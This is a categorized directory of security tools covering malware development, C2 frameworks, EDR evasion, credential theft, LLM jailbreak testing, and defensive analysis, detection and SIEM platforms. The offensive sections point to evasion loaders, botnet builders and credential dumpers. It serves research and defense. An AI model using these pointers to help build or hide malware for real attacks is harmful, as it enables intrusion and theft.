
Malware Development

🔴 Coldfire - Golang malware development library providing a rich set of functions for process manipulation, network operations, privilege checking, and evasion primitives, enabling rapid development of offensive tooling in Go.
🐍 Rust for Malware Development - Repository focused on advanced Red Team techniques and offensive malware & ransomware written in Rust, covering shellcode runners, process injection, and evasion methods.
📚 awesome-malware-development - Curated collection of the best resources for malware development, rootkits, implants, evasion, and red-team tooling, continuously updated with modern topics from 2025-2026.
🧰 Donut - Position-independent shellcode generator and in-memory payload injector that converts executables, .NET assemblies, and scripts into encrypted shellcode for fileless execution.
🦅 Sliver - Open-source cross-platform adversary emulation framework with implants supporting C2 over mTLS, WireGuard, HTTP(S), and DNS, featuring dynamic code generation, staged/stageless payloads, and in-memory .NET assembly execution.
🐺 Havoc - Modern, malleable C2 framework with a beautiful GUI, designed for post-exploitation and red team operations with advanced evasion capabilities.
🎯 ScareCrow - Payload creation framework focused on EDR bypass, using code signing, AES encryption, and multiple execution techniques to evade modern endpoint detection.
🦠 BYOB (Build Your Own Botnet) - Post-exploitation framework and C2 platform that generates cross-platform encrypted binaries with multi-stage delivery chains and reverse shell capabilities.
🔧 OffensiveNim - Red teaming framework and post-exploitation toolkit in Nim, featuring API unhooking, direct syscalls, anti-debugging, and multiple shellcode injection techniques.
🧬 SharpSploit - .NET post-exploitation library written in C# that highlights the attack surface of .NET and simplifies offensive .NET operations for red teamers.
🎭 ScareCrow - Payload toolkit using suspended processes and direct syscalls for EDR evasion, generating loaders that execute payloads without touching disk.
🧪 Phantom-Evasion - Security research framework for generating obfuscated payloads and automating post-exploitation tasks, with memory-resident execution, junk code injection, and payload encryption.
🐍 Veil-Evasion - Framework for generating custom executable files to test defensive systems, using template-based source injection and modular build systems for cross-platform payload generation.
🧰 PEzor - Open-source packer for executable files designed to evade antivirus detection through obfuscation and encryption.
🦀 RustRedOps - Advanced Red Team techniques and offensive malware repository focused on Rust, with 1,855+ stars as of 2025.
🏗️ Tradecraft Garden - Development environment by Raphael Mudge (Cobalt Strike creator) that simplifies shellcode and Position Independent Code (PIC) creation using C and Makefiles, with Crystal Palace linker for automatic API hashing.
🐍 DarkArmour - Windows antivirus evasion tool that stores and executes an encrypted Windows binary entirely from memory without writing to disk.
🧬 Shhhloader - Shellcode loader that compiles a C++ stub performing multiple AV/EDR bypass techniques, with a Python builder for Linux-based cross-compilation.
🎯 Inceptor - Template-driven framework for AV and EDR evasion, providing modular templates for payload generation and obfuscation.
🐺 Charlotte - Fully undetected C++ shellcode launcher designed to bypass security monitoring without triggering alerts.
🧪 GadgetToJScript - Generates .NET serialized gadgets that trigger .NET assembly load/execution when deserialized from JS/VBS/VBA scripts, enabling fileless execution.
🔬 Pafish - Anti-analysis sandbox detector and virtualization environment tester that validates evasion methods against VM and sandbox detection.
🦀 SysWhispers - Syscall generator for evasion, enabling direct system calls to bypass user-mode hooks placed by EDR solutions.
🐍 Obfusk8 - Lightweight C++17 header-only obfuscation library for Windows binaries, providing compile-time obfuscation capabilities.
🧰 ProtectMyTooling - Multi-packer wrapper that daisy-chains various packers, obfuscators, and other red-team-oriented weapons, with artifact watermarking, IOC collection, and PE backdooring capabilities.
🐺 Killer - Highly simple tool designed to bypass AV/EDR security tools using various evasion techniques.
🧪 BYOVD Research - Bring Your Own Vulnerable Driver research repository with detection and reverse engineering methodology, covering CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, and CVE-2026-8501.
📚 Malware Development for Ethical Hackers - Published by Packt, this repository contains comprehensive material for learning malware development from an ethical hacking perspective.
🧪 maldev-for-dummies - Beginner-friendly malware workshop covering fundamentals of offensive tooling development.
🔬 DarkWidow - Advanced payload with indirect dynamic syscalls, SSN sorting via modified TartarusGate approach, and remote process injection via APC Early Bird technique.

Malware Analysis

🔬 CAPA - Mandiant's FLARE team's premier static analysis tool that identifies what a program can do by applying 800+ rules to binaries, mapping findings to MITRE ATT&CK, MAEC, and MBC frameworks in about 30 seconds without executing the sample. Supports PE, ELF, .NET, and shellcode, with JSON export for automation and integration with CAPA Web Explorer for visual rule inspection.
🧪 Cuckoo Sandbox - Open-source automated malware analysis system that executes samples in isolated virtual machines and captures process trees, API calls, network traffic, file drops, and registry modifications. Provides REST API for programmatic submission and JSON reports for programmatic analysis of behavioral indicators.
🏗️ FLARE VM - Windows-based security distribution designed for malware analysis, reverse engineering, and incident response, bundling hundreds of curated tools including x64dbg, OllyDbg, IDA Freeware, PEiD/DIE, Process Hacker, Volatility, Sysinternals Suite, and Wireshark. Installation requires a Windows 10/11 VM with 70+ GB disk space and takes approximately 4 hours.
🐧 REMnux - Linux toolkit for reverse-engineering and analyzing malicious software, providing a curated collection of free community-created tools in an Ubuntu-based distribution with Docker container support. Available as a virtual appliance or installable on existing systems, with AI-powered capabilities for automated tool execution.
🧅 FlareVM MCP Server - Model Context Protocol server that enables AI agents (Claude Code, etc.) to drive an isolated, air-gapped FlareVM through 52 unified tools for static triage, dynamic detonation, unpacking, and debugging, keeping the malware confined to the VM. Features WinRM with NTLM encryption, hash verification of tools, and output sanitization to prevent sample strings from posing as instructions.
📦 Detect It Easy (DIE) - PE file analyzer with signature matching for identifying packers, compilers, and cryptors, essential for initial triage and unpacking strategy determination.
🖥️ Process Monitor (Procmon) - Sysinternals tool that monitors real-time file system, registry, and process/thread activity, serving as a core dynamic analysis tool for observing malware behavior in sandbox environments.
🕵️ Process Hacker - Advanced process viewer and memory editor for Windows, providing detailed inspection of running processes, threads, memory regions, and handles during malware analysis.
🧰 Volatility - Advanced memory forensics framework for extracting artifacts from RAM dumps, including hidden processes, injected code, network connections, and encryption keys, critical for analyzing fileless malware and rootkits.
🔍 PEStudio - Static analysis tool for Windows executables that examines PE headers, imports, exports, strings, and indicators without executing the file, widely used for initial triage.
🎯 Ghidra - NSA's open-source software reverse engineering suite with decompiler, disassembler, graphing, and scripting capabilities, used for deep static analysis of malware binaries across architectures.
🐛 x64dbg - Open-source Windows debugger for x64 and x86 binaries, featuring a comprehensive plugin system and widely used for dynamic analysis and unpacking of obfuscated malware.
🧪 YARA - Pattern matching tool for malware identification and classification, enabling analysts to create rules based on textual and binary patterns to detect malware families and variants. Supports wildcards, case-insensitive strings, regular expressions, and hexadecimal patterns for flexible detection logic.
🌐 Wireshark - Network protocol analyzer used during malware analysis to inspect C2 traffic, DNS queries, HTTP requests, and other network communications captured in sandbox environments.
🧫 FakeNet-NG - Dynamic network analysis tool by Mandiant that simulates internet services to intercept and redirect malware C2 traffic, allowing analysis of network behavior without risking real infrastructure.
📊 Any.run - Interactive online sandbox with real-time analysis capabilities, allowing analysts to observe malware execution, interact with the environment, and capture behavioral indicators.
🦅 Hybrid Analysis - Public sandbox powered by Falcon Sandbox, providing automated malware analysis with detailed behavioral reports.
🐍 FLOSS - Mandiant's FLARE Obfuscated String Solver that automatically extracts and deobfuscates strings from malware binaries, defeating common obfuscation techniques like stack strings and encrypted strings.
📚 awesome-malware-analysis - Curated list of 400+ tools, resources, labs, and communities for analyzing, dissecting, and understanding malicious software, organized by category including static analysis, dynamic analysis, memory forensics, and threat intelligence.
🧪 oletools - Python tools for analyzing Microsoft OLE2 files including Office documents and MSI files, essential for analyzing malicious macros, embedded objects, and document-based malware.

AI & Machine Learning Security

🧪 PyRIT - Microsoft's Python Risk Identification Toolkit for generative AI, providing a red-teaming framework with attack strategies, orchestrators, and scorers for systematically probing LLM applications for safety failures and prompt injection vulnerabilities.
🎯 promptfoo - Open-source CLI and library for LLM evaluation and red-teaming, with 50+ vulnerability plugins covering prompt injection, jailbreaks, PII leakage, and hijacking, supporting OpenAI, Anthropic, Ollama, and custom providers with CI/CD-native YAML configuration.
🛡️ Garak - NVIDIA-maintained Generative AI Red-teaming & Assessment Kit that scans LLMs for hallucinations, data leakage, prompt injection, and jailbreaks using a comprehensive probe library, now the industry-standard open-source LLM vulnerability scanner.
🧬 Giskard - Open-source evaluation, testing, and red-teaming framework for LLM agents, including agent vulnerability scanning and RAG evaluation workflows to detect bias, performance issues, and security flaws.
🧱 Guardrails AI - Python framework for adding input/output guards, validators, and structured-output controls to LLM applications, with Hub checks for content policy, PII detection, and SQL injection prevention.
🚦 NeMo Guardrails - NVIDIA's programmable guardrails toolkit using Colang-based policy language to define topical, safety, and action guardrails for LLM applications, supporting input, output, dialog, and retrieval rails.
🔍 Meta Llama Prompt Guard 2 - Meta's prompt-injection classifier available on HuggingFace, fine-tuned from mDeBERTa with adversarial-resistant tokenization, providing binary BENIGN/MALICIOUS classification across 8 languages for local, API-free detection.
🧪 PurpleLlama - Meta's open-source LLM security toolkit including Llama Guard classifiers, CodeShield for insecure code detection, and CyberSecEval for benchmarking AI safety and security.
🎯 HarmBench - ICML 2024 standardized evaluation framework for automated red-teaming and robust-refusal benchmarking, providing a rigorous methodology for measuring LLM safety against adversarial attacks.
🔬 Counterfit - Microsoft's ML/AI penetration-testing automation tool that provides a CLI for running adversarial attacks against machine learning models, supporting evasion, poisoning, and extraction attack scenarios.
🧅 LLM Guard - Protect AI's suite of input/output scanners for PII, prompt injection, toxicity, and secrets detection, retained as a historical reference for local guardrails implementation though no longer actively maintained.
🛠️ EasyJailbreak - Framework for building and testing adversarial jailbreak prompts against LLMs, providing modular components for attack construction, evaluation, and defense testing.
📦 ModelScan - Protect AI's model file scanner that detects malicious code in serialized ML models (Pickle, H5, SavedModel), protecting against model supply chain attacks through dangerous deserialization.
🏗️ CycloneDX ML-BOM - OWASP-led standard for Machine Learning Bill of Materials, stable through v1.7 (ECMA-424), providing structured SBOM output for ML artifacts to track model provenance and component dependencies.
🔐 OpenSSF Model Signing (OMS) - Open Source Security Foundation specification (v1.0, April 2025) for signing ML models to establish provenance and integrity, filling the signing gap for model artifacts in the AI supply chain.
🧪 Fickling - Pickle file analysis and decompilation tool that achieves 100% detection of malicious pickle payloads through allowlist-based validation, critical for safely loading ML models from untrusted sources.
🕵️ AI-UTM - All-in-one platform security protection product for large models and agent applications from NSFOCUS, addressing multiple OWASP LLM Top 10 risks including prompt injection and sensitive information disclosure.
🛡️ AI Defense (Cisco) - Cisco's AI security platform providing guardrails, agent security, and supply-chain validation, including defenseclaw for static CodeGuard checks and audit observability in agentic deployments.
🔍 weaponized-ai-scan - Open-source CLI tool that scans LLM applications for vulnerabilities including prompt injection, jailbreaks, and data leakage, providing automated security assessment for AI deployments.
🎭 Rebuff - Archived prompt-injection detector by Protect AI combining heuristics, LLM-based detection, vector similarity, and canary tokens, retained as a historical reference for multi-layer prompt injection defense.
🧪 LLAMATOR - Red-teaming framework for chatbots and GenAI systems, providing automated adversarial testing methodologies for conversational AI safety evaluation.
📊 LangKit - LLM monitoring toolkit from WhyLabs that extracts safety and security signals including jailbreak similarity, prompt-injection similarity, hallucination checks, PII patterns, toxicity, and refusal metrics for production observability.
🐍 PIMap - Automated black-box prompt injection scanner described as "sqlmap for LLMs," with 8 attack modules, 33 payloads, and HTML report generation for systematic prompt injection testing.
🧬 Vulcan - LLM risk and vulnerability testing solution from AIFT enabling AI project teams to perform automatic red teaming at scale, addressing the full spectrum of OWASP LLM Top 10 risks.

Red Team / Offensive

🎯 Cobalt Strike - The industry-standard commercial adversary simulation framework, providing Beacon payloads, Malleable C2 profiles, and a comprehensive post-exploitation toolkit for red team operations.
🦅 Sliver - Open-source cross-platform adversary emulation framework by BishopFox, with implants supporting C2 over mTLS, WireGuard, HTTP(S), and DNS, dynamically compiled with per-binary asymmetric encryption keys. Features include dynamic code generation, compile-time obfuscation, multiplayer mode, staged/stageless payloads, procedurally generated C2 over HTTP(S), in-memory .NET assembly execution, and COFF/BOF in-memory loader.
🐺 Havoc - Open-source post-exploitation C2 framework first released in October 2022 by C5pider, with proprietary endpoint implants called Demons generated as executables, DLLs, or shellcode communicating over HTTP(S) or SMB. Supports token impersonation, process injection, DLL side-loading, sleep obfuscation techniques including Ekko, Foliage, and WaitForSingleObjectEx, and MITRE ATT&CK-mapped modules.
🧩 Mythic - Collaborative, cross-platform C2 framework with plug-and-play architecture allowing teams to add payload types, communication profiles, and translation services without rebuilding the core server. Tracks payload, build parameters, C2 configuration, loaded command versions, issuing operator, task references, artifacts, credentials, files, comments, and responses that form an operation, with MITRE ATT&CK mappings propagated into tasks and exposed in matrix and Navigator views.
🎯 Brute Ratel C4 - Commercial adversary simulation framework active since 2020, featuring Badger payloads, EDR evasion, syscall-only execution, DNS over HTTPS, indirect syscalls, built-in debugger for detecting EDR userland hooks, and MITRE graph integration. Licensed at $2500/year per user, with cracked copies abused by threat actors including ALPHV/BlackCat.
🦅 Nighthawk - MDSec's commercial C2 framework featuring groundbreaking memory hiding that masks all inactive pages even during interactive execution, exposing only approximately 2% of the codebase in plaintext memory at any given moment. Includes Python API, JSON RPC web service, and Nighthawk Labs with automation tools, custom C2 methods, and open agents.
⚡ Empire - PowerShell and Python post-exploitation framework providing agents and modules for credential theft, lateral movement, persistence, and exfiltration, with extensive MITRE ATT&CK technique coverage.
🐍 Covenant - Collaborative .NET C2 framework for red teamers providing a Swagger-documented REST API for managing listeners, launchers, grunts, and tasks, with HTTP/HTTPS listeners and binary/PowerShell launchers. Note: versions 0.6 and earlier contain CVE-2026-92717, a critical authentication bypass via the CovenantHub SignalR hub.
🧪 Foojank - Open-source C2 framework built on NATS for red team and purple team engagements, providing customizable C2 transport over TCP and WebSockets, built-in file storage for payload distribution and data exfiltration, and observability into agent activity and C2 messaging.
🎭 Metasploit Framework - The world's most used penetration testing framework, providing exploit modules, payloads, encoders, and post-exploitation modules for adversary simulation and vulnerability validation.
🔧 Impacket - Collection of Python classes for working with network protocols, widely used for lateral movement via SMB, MSRPC, DCOM, WMI, and Kerberos, with detectable network signatures and log artifacts for defenders to study.
🦊 Rubeus - C# toolset for raw Kerberos interaction and abuse, supporting Kerberoasting, AS-REP Roasting, ticket manipulation, and delegation abuse, leaving detectable events such as 4769 and 4768 with specific encryption types.
🔑 Mimikatz - The most well-known Windows credential extraction tool, capable of extracting plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory, with countermeasures including Credential Guard, RunAsPPL, and Sysmon Event ID 10.

Purple Team

🎯 Atomic Red Team - Red Canary's library of small, focused test scripts mapped directly to MITRE ATT&CK techniques, enabling rapid validation of detection coverage with self-contained, reversible, and cross-platform atomic tests. Each test runs with a single command, includes cleanup steps, and supports Windows, macOS, Linux, and cloud environments, making it the de facto standard for purple team exercises and detection engineering regression testing.
🏗️ MITRE Caldera - Automated adversary emulation platform originally developed by MITRE and now an Apache Incubating project, providing a modular framework for modeling, scripting, and executing adversary behavior through adversary profiles mapped to real threat groups (APT3, APT29, etc.). Unlike Atomic Red Team's individual technique execution, Caldera chains techniques into realistic attack scenarios with autonomous decision-making, a C2 server, agent-based execution, plugin ecosystem (Stockpile for techniques, Compass for ATT&CK visualization), and a Response plugin for blue team automated defensive action testing. MITRE contributed Caldera to the Apache Software Foundation in May 2026 to expand open collaboration under vendor-neutral governance.
📊 VECTR - Security Risk Advisors' platform for tracking and reporting purple team exercises, mapping results by ATT&CK technique and generating coverage score reports usable by both leadership and technical teams. VECTR facilitates tracking of red and blue team testing activities and is commonly paired with Invoke-AtomicRedTeam for scenario execution.
☁️ Stratus Red Team - Datadog's cloud-focused attack simulation tool described as "Atomic Red Team, but for cloud," enabling granular detonation of offensive techniques against live AWS, Azure, GCP, Kubernetes, and Amazon EKS environments. Each technique uses Terraform to transparently manage prerequisites, with warm-up, detonate, revert, and cleanup phases for repeatable testing of cloud detection rules. Stratus Red Team is designed for use against sandbox cloud accounts and is widely adopted for validating cloud security controls and detection coverage.
🧪 SimRun - IBM's attack simulation platform for detection engineering that detonates attacks, verifies expected SIEM alerts actually fire, and measures exactly which detection rules are exercised versus blind spots. First-class connectors for AWS, GCP, Azure, and Kubernetes, with PostgreSQL persistence, scheduled runs, web UI, REST API, and a pack ecosystem that can wrap Stratus Red Team or author custom simulations. Coverage view pulls live Elastic detection rules and reports covered-rules percentage, answering the question CI never could: which rules does a scenario actually test.
🛠️ TTPForge - Meta's cyber attack simulation platform built by Red, Blue, and Purple security teams, promoting purple teaming by automating attacker TTPs in a powerful YAML format. Helps blue teams measure detection and response capabilities through high-fidelity simulations, and helps red teams improve ROI by packaging attacks as automated, repeatable simulations. Includes the ForgeArmory repository as an arsenal of attacker TTPs, with CLI commands for listing, showing, and running TTPs with argument passing.
✅ Validato - Commercial Adversarial Exposure Validation (AEV) platform that performs continuous security control validation using TTPs from MITRE ATT&CK. Tests detection capabilities (whether logs are correctly configured and reaching SIEM) and protective controls (whether endpoint security is configured to block threats), with guided remediation steps and export mapping to NIST 800-53, NIST CSF, ISO 27001, CIS, and NCSC CAF. A Gartner Peer Insights reviewer described it as "a valuable tool for serious cyber defenders" used for simulating malware techniques from MITRE ATT&CK against endpoint protection.
🔧 SentinelX - Modular, production-ready CLI framework for authorized security testing, defensive validation, and Purple Team simulations, built for Kali Linux and Termux with dedicated Red, Blue, and Purple Team workflows. Purple Team module provides attack-to-detection correlation, automatic validation of whether simulated attacks are captured in system logs, and cumulative session reporting with high-fidelity PDF generation and MITRE ATT&CK mapping.
⚙️ purpleteam (Go package) - Orchestrates governed adversary-emulation runs and turns them into purple-team coverage, joining expected detections against detections that actually fired and persisting the coverage dashboard. Uses a no-host SimulationExecutor so the governed flow (admission, blast-radius, evidence) runs end-to-end without touching a host, making coverage measurement honest and testable.
🎯 Invoke-AtomicRedTeam - PowerShell module for executing Atomic Red Team tests, automating standardized, reproducible execution of 1,000+ ATT&CK techniques from a PowerShell console. Documentation is well-organized with clear instructions for installation, execution, and logging, though the wiki format is less polished than Read the Docs.
📚 Practical Purple Teaming (Book) - Comprehensive guide to designing purple team exercises that produce measurable improvements, covering adversary emulation with Atomic Red Team, MITRE Caldera, and Mythic, telemetry collection and coverage analysis using open source platforms, lab automation with Splunk's Attack Range, and building a sustainable cross-functional purple teaming function.
🐉 Kali Autopilot - Tool from Kali Linux for developing automatic attack scripts for red and purple teaming, primarily intended for creating scripts that attack vulnerable machines in the Kali Purple platform for detection and response training.

Blue Team / Defense

🧠 Wazuh - Open-source security platform that unifies SIEM and XDR capabilities, providing log analysis, intrusion detection, file integrity monitoring, vulnerability detection, and incident response across endpoints and cloud workloads. Recognized as Best SIEM of 2023 by SC Awards and widely adopted by virtual SOC providers for 24/7 monitoring and compliance.
📡 Security Onion - Free and open platform for threat hunting, enterprise security monitoring, and log management, bundling Zeek, Suricata, YARA, and Elasticsearch into a cohesive detection pipeline for network, endpoint, and application visibility.
🔍 Zeek - Powerful network analysis framework that produces high-fidelity transaction logs, serving as a core data source for detection engineering and network security monitoring in blue team pipelines.
🛡️ Suricata - High-performance Network IDS, IPS, and NSM engine using multi-threading for real-time threat detection and deep packet inspection, commonly paired with Zeek in Security Onion deployments.
🎯 YARA - Pattern matching tool for malware identification and classification, essential for file analysis and detection rule creation in blue team workflows.
📊 Splunk - Industry-leading SIEM platform for centralized log ingestion, correlation, and detection engineering, widely deployed in enterprise SOC environments and DoD-style blue team labs.
🏗️ DoD Blue Team Network Lab - End-to-end virtualized blue team lab simulating DoD-style enterprise defense, including pfSense firewall, VLAN segmentation, Windows Server AD, IDS/IPS, SIEM (Splunk), STIG-aligned hardening scripts, and adversary emulation with detection validation.
🔬 RedSentinel - AI-assisted defensive security assessment framework that orchestrates tools like Nmap, Nikto, and WhatWeb, normalizes output, enriches findings with risk context, and generates professional remediation plans — designed for blue teams, SOC analysts, and security students with no exploitation capabilities.
⚙️ SentinelOps - Lightweight defensive security platform that ingests system and network logs to detect brute-force attempts, anomalous logins, and misuse patterns in real time, generating actionable alerts and structured incident timelines with PDF/HTML report generation.
📚 Blue Team Tools (Pluralsight) - 34-course learning path covering network analysis, OS analysis, infrastructure analysis, file analysis, application analysis, incident management, and threat intelligence using MITRE ATT&CK and Shield frameworks to identify tooling gaps and fill them with open-source solutions.
🧪 Blue Team Tools: Defense against Adversary Activity - Course focused on leveraging MITRE ATT&CK and Shield for a 360-degree view of attack scenarios, analyzing organizational tooling gaps, and integrating open-source blue team tools into enterprise security strategy.
🔧 SharpHound / BloodHound - Dual-use Active Directory attack path mapping tools that defenders can run in controlled settings to identify excessive privileges, unconstrained delegation, and overexposed accounts before attackers exploit them.
🕵️ Mimikatz - Credential extraction tool that defenders use in lab environments to validate whether LSA protection and Credential Guard are properly configured to prevent credential dumping.
🔐 Credential Guard - Windows security feature that isolates LSASS secrets using virtualization-based security, making credential extraction significantly harder and serving as a key blue team defensive control.
📋 LAPS (Local Administrator Password Solution) - Microsoft solution for managing local administrator passwords on domain-joined computers, enforcing unique passwords and limiting lateral movement opportunities.

Threat Hunting

🦖 Velociraptor - Digital forensics and incident response platform that doubles as a powerful endpoint threat-hunting tool, with a specialized query language for interrogating host state, remote forensic collection across fleets, and a notebook environment for collaborative investigation workflows.
📊 HELK (Hunting ELK) - All-in-one free threat hunting stack built on Elasticsearch, Logstash, Kafka, and Kibana with Jupyter Notebook integrations, designed by Roberto Rodriguez (Cyb3rWard0g) as a security data science suite for practicing hunting with pre-loaded attack datasets.
📖 ThreatHunter-Playbook - Collection of hunting playbooks organized by MITRE ATT&CK technique, each including hypothesis, required data sources, analytical queries (Spark, Elastic), and sample datasets to validate detection logic before deploying to production.
🗂️ Security-Datasets (Mordor) - Simulated attack datasets in JSON format (Windows events, Sysmon, etc.) generated with real red teaming tools in controlled environments, the perfect companion to ThreatHunter-Playbook for practicing hunting without executing live attacks.
🔍 Chainsaw - Fast Sigma-based threat hunting tool for Windows event logs, capable of scanning EVTX files, extracting artifacts, and generating Sigma-rule-driven detection results with CSV/JSON output for SIEM ingestion.
🦅 Hayabusa - Fast Windows Event Log timeline generation and analysis tool with comprehensive detection rules, supporting CSV/JSON timelines, severity filtering, metrics generation, and logon summaries for rapid triage of large EVTX collections.
🎯 Hayabusa Lens - Desktop application wrapping Hayabusa and Chainsaw with an intuitive dashboard, Sigma rule viewer, AI-powered investigation helpers (local Ollama or API-based), 3D network path visualization, and audit trail export for streamlined threat hunting workflows.
📚 ThreatHunting-Keywords - Massive database of keywords, artifacts, and patterns organized by offensive tool, ATT&CK technique, and log type, with ready-to-use queries for Splunk, Elastic, and Microsoft Sentinel to hunt for specific tools like Cobalt Strike, Mimikatz, and Sliver.
🛡️ Sigma - Generic signature format for SIEM systems that has become the practical standard for vendor-agnostic detection rules, enabling threat hunters to describe relevant log events in a portable format convertible to platform-specific queries.
🧭 MITRE ATT&CK Navigator - Coverage mapping tool for visualizing detection and hunting coverage against the ATT&CK matrix, with the mitre-mcp-server enabling AI assistants to generate Navigator layers and query technique relationships for gap analysis.
🔬 Zeek - Network analysis framework that turns raw traffic into structured connection and protocol logs, serving as a foundational data source for network-level threat hunting and anomaly detection.
🕵️ Wazuh - Open-source XDR/SIEM platform that collects and correlates host and log data, alerting on rules and providing the telemetry foundation for hypothesis-driven hunting across endpoints and cloud workloads.
📡 Security Onion - Bundled distribution packaging Zeek, Suricata, and Elastic into one hunting-ready platform, providing a complete network security monitoring stack for teams without existing infrastructure.
🐍 DeepBlueCLI - PowerShell module for hunt teaming via Windows Event logs, enabling rapid triage of security events directly from PowerShell without a full SIEM deployment.
🔎 GRR Rapid Response - Incident response framework focused on remote live forensics, with a Python agent installed on assets and server infrastructure enabling analysts to quickly triage attacks and perform analysis at scale.
🖥️ Velociraptor + Elastic (VELK) - Integration pattern combining Velociraptor's endpoint collection with Elastic Stack (Elasticsearch, Logstash, Kibana) for scalable, visualized threat hunting across enterprise fleets, particularly useful for organizations without existing SOC infrastructure.
🧪 DFIR-MCP - Unified Digital Forensics and Incident Response toolkit integrating Chainsaw, Hayabusa, Hindsight, Plaso, and Timesketch through Model Context Protocol, allowing AI assistants to orchestrate complex multi-tool hunting workflows from a single interface.
📋 Microsoft 365 Defender Hunting Queries - KQL hunting queries for Microsoft Defender, Sentinel, and M365 organized by ATT&CK technique, indispensable for Microsoft-centric environments.
🎯 Splunk Attack Range - Framework for creating automated attack labs that deploys Windows environments with Active Directory, executes attacks with Atomic Red Team, and collects logs in Splunk for generating realistic hunting datasets.
📊 Awesome Threat Detection - Meta-list of detection and hunting resources including tools, papers, presentations, blogs, and datasets, serving as a starting point for discovering additional hunting resources.

Intrusion Detection & Prevention

🛡️ Snort - The world's most widely deployed open-source IDS/IPS, combining signature, protocol, and anomaly-based inspection. Snort 3 introduces a Lua-based configuration language, modular detection engine, and enhanced protocol inspection including IPv6, HTTP/2, and TLS 1.3. Achieves the highest throughput in academic benchmarks (987,966 PPS for ICMP) and the highest detection precision (0.91) in comparative studies, though Talos rules for full coverage are paid ($1,500-$12,000/year).
⚡ Suricata - High-performance Network IDS, IPS, and NSM engine owned by the Open Information Security Foundation (OISF). Natively multithreaded for 10+ Gbps networks, with free ET Open ruleset (125,000+ rules, 15-minute updates), native JSON/EVE output for easy SIEM integration, OT/ICS protocol support (Modbus, DNP3), and conditional PCAP for forensic analysis. Suricata consistently outperformed Snort in scalability, resource efficiency, and detection accuracy in SME-focused studies, though its precision is slightly lower (0.86 vs. 0.91) and RAM requirements are higher.
🔍 Zeek - Powerful network analysis framework that produces high-fidelity transaction logs rather than traditional alerts, serving as the evidence standard for network security monitoring. Unlike signature-based IDS, Zeek focuses on behavioral analysis and protocol parsing, making it ideal for threat hunting and forensic investigations alongside Snort or Suricata.
🏠 OSSEC - Open-source host-based intrusion detection system (HIDS) performing log analysis, file integrity checking, rootkit detection, and active response across Linux, Windows, macOS, and Solaris. A central manager collects data from agents and runs them through ~1,500 rules to detect brute-force attempts, privilege escalation, and malware persistence, with active response capabilities including firewall blocking and account lockout.
🏠 Samhain - Open-source multiplatform HIDS providing file integrity checking, log file monitoring and analysis, rootkit detection, port monitoring, detection of rogue SUID executables, and hidden process detection. Designed to monitor multiple hosts with potentially different operating systems, providing centralized logging and maintenance.
🧠 Splunk - AI-driven anomaly detection and IPS traffic analyzer with automated intrusion remediation capabilities. The 2026 Cisco acquisition deepened integration with Splunk Enterprise Security and Cisco's broader portfolio, including ThousandEyes for network path context and Cisco AI Defense for agentic AI threat detection, making it a more complete SOC platform.
🎯 Palo Alto Networks IPS - Signature, anomaly, and policy-based IPS delivered as part of Advanced Threat Protection within the Next-Generation Firewall platform. Classifies all traffic including encrypted traffic by application, function, user, and content before applying threat prevention policies, with Unit 42 threat intelligence feeding signatures. More customizable than Cisco or Fortinet alternatives but with higher complexity and total cost of ownership.
🔥 Fortinet FortiGuard IPS - Deep packet inspection and virtual patching integrated within the Fortinet Security Fabric, with frequent signature updates from FortiGuard Labs covering newly disclosed CVEs in commercial software, network devices, and web applications. Demonstrates lower false positive rates than anomaly-based competitors and seamless integration with FortiGate firewalls, antivirus, and SIEM. Virtual patching protects vulnerable systems against known exploits before vendor patches are applied.
🛡️ Check Point Quantum IPS - Behavioral and signature-based protections integrated into Check Point's Next-Generation Firewall platform, with multi-gigabit throughput and low false positive rates. ThreatCloud intelligence continuously updated from millions of global sensors enables rapid identification of zero-day and emerging threats. Administrators can execute detailed IPS policies controlling packet inspection depth, including bypassing deep inspection for trusted flows to preserve performance.
🕵️ Cisco Secure IPS - Enterprise IPS integrated with Cisco's security portfolio, requiring immediate patching for CVE-2025-20333 (remote code execution) and CVE-2025-20362 (privilege escalation) in Cisco ASA and Firepower devices, which persisted after reboots and upgrades. Organizations using unpatched Firepower devices should treat this as urgent.
🧪 IDS-Defender - Educational IDS/IPS deployment project using Snort 3 and Suricata on Kali Linux, with practical attack simulation using Hydra (SSH brute force), Nmap (port scan), and SQLmap (SQL injection) to validate detection rules in a controlled lab environment.
📚 IDS/IPS Deployment with Snort and Wireshark - Step-by-step walkthrough for deploying and configuring Snort 3 on Kali Linux, capturing and analyzing network traffic with Wireshark, creating custom detection rules based on known attack patterns, and automating alerts for suspicious behavior.
🔄 snort2lua - Conversion utility included with Snort and Suricata that converts Snort 2.x rules and configuration to Snort 3 Lua format, facilitating migration and rule modernization. Used during the Snort-to-Suricata migration process since Suricata supports Snort rule syntax.

SIEM & Log Analysis

🛡️ Wazuh - The most complete open-source SIEM available today, shipped as a full platform with an Indexer (OpenSearch-based), Server (collection and analysis engine), Dashboard, and Agent for endpoint telemetry. Provides native security log analysis, vulnerability detection, security configuration assessment, and regulatory compliance reporting without significant third-party integration. Recent releases added unified inventory dashboards for browser extensions, services, users, and groups via the IT Hygiene section, plus a Microsoft Graph API dashboard for monitoring Microsoft 365 activity and audit events, and hot-reload agent configuration without restarting.
📊 Graylog - Centralizes logs and provides alerting and dashboards through a polished interface. Licensed under the Server Side Public License (SSPL), best described as open-core or source-available. Graylog 7.0 introduced an experimental Model Context Protocol (MCP) endpoint allowing LLM clients to connect directly to a Graylog instance for live queries using natural language prompts. The 7.2 release added the Graylog Agentic Framework with purpose-built agent workflows including an Event Definition Tuning Advisor that reviews noisy detection rules, Detection Chains that correlate individual security events into multi-stage attack campaigns, six built-in watchlists for IP, user, file hash, port, domain, and geolocation values, and a Health Module presenting deployment status in a hierarchical tree.
🏗️ Elastic Stack (ELK) - Infrastructure for log storage, processing, and visualization rather than a complete SIEM. Elastic relicensed Elasticsearch and Kibana back to open source in 2024 under a dual license: AGPL-3.0 or Elastic License 2.0, with the core stack freely available under AGPL. However, SIEM-relevant features including machine learning, alerting, and Elastic Security still require a subscription for production use. The free version lacks a built-in correlation engine (Elastalert partially fills this gap), built-in security rules, and native alerting or reporting, meaning detection rules and correlation logic are yours to create.
🔍 OpenSearch - Launched in 2021 as a fork of Elasticsearch and Kibana, led by AWS. Includes OpenSearch (the database) and OpenSearch Dashboards (for visualization and analytics). Provides a fully open-source alternative to the Elastic Stack for log storage and search, though like ELK it is not a complete SIEM out of the box.
